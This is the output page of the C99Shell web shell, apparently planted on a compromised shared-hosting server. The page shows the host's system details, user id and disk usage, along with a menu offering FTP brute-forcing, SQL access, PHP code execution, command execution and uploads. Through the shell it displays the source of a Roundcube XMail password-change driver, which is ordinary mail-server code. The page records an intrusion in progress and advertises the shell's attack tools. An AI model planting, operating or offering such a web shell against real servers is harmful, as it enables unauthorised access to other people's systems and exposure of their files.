!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/usr/share/roundcube/plugins/password/drivers/   drwxr-xr-x
Free 1.43 GB of 7.22 GB (19.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     xmail.php (2.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * XMail Password Driver
 *
 * Driver for XMail password
 *
 * @version 2.0
 * @author Helio Cavichiolo Jr <helio@hcsistemas.com.br>
 *
 * Setup xmail_host, xmail_user, xmail_pass and xmail_port into
 * config.inc.php of password plugin as follows:
 *
 * $rcmail_config['xmail_host'] = 'localhost';
 * $rcmail_config['xmail_user'] = 'YourXmailControlUser';
 * $rcmail_config['xmail_pass'] = 'YourXmailControlPass';
 * $rcmail_config['xmail_port'] = 6017;
 *
 */

class rcube_xmail_password
{
    function 
save($currpass$newpass)
    {
        
$rcmail rcmail::get_instance();
        list(
$user,$domain) = explode('@'$_SESSION['username']);

        
$xmail = new XMail;

        
$xmail->hostname $rcmail->config->get('xmail_host');
        
$xmail->username $rcmail->config->get('xmail_user');
        
$xmail->password $rcmail->config->get('xmail_pass');
        
$xmail->port $rcmail->config->get('xmail_port');

        if (!
$xmail->connect()) {
            
raise_error(array(
                
'code' => 600,
                
'type' => 'php',
                
'file' => __FILE__'line' => __LINE__,
                
'message' => "Password plugin: Unable to connect to mail server"
            
), truefalse);
            return 
PASSWORD_CONNECT_ERROR;
        }
        else if (!
$xmail->send("userpasswd\t".$domain."\t".$user."\t".$newpass."\n")) {
            
$xmail->close();
            
raise_error(array(
                
'code' => 600,
                
'type' => 'php',
                
'file' => __FILE__'line' => __LINE__,
                
'message' => "Password plugin: Unable to change password"
            
), truefalse);
            return 
PASSWORD_ERROR;
        }
        else {
            
$xmail->close();
            return 
PASSWORD_SUCCESS;
        }
    }
}

class 
XMail {
    var 
$socket;
    var 
$hostname 'localhost';
    var 
$username 'xmail';
    var 
$password '';
    var 
$port 6017;

    function 
send($msg)
    {
        
socket_write($this->socket,$msg);
        if (
substr($in socket_read($this->socket512PHP_BINARY_READ),0,1) != "+") {
            return 
false;
        }
        return 
true;
    }

    function 
connect()
    {
        
$this->socket socket_create(AF_INETSOCK_STREAM0);
        if (
$this->socket 0)
            return 
false;

        
$result socket_connect($this->socket$this->hostname$this->port);
        if (
$result 0) {
            
socket_close($this->socket);
            return 
false;
        }

        if (
substr($in socket_read($this->socket512PHP_BINARY_READ),0,1) != "+") {
            
socket_close($this->socket);
            return 
false;
        }

        if (!
$this->send("$this->username\t$this->password\n")) {
            
socket_close($this->socket);
            return 
false;
        }
        return 
true;
    }

    function 
close()
    {
        
$this->send("quit\n");
        
socket_close($this->socket);
    }
}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0091 ]--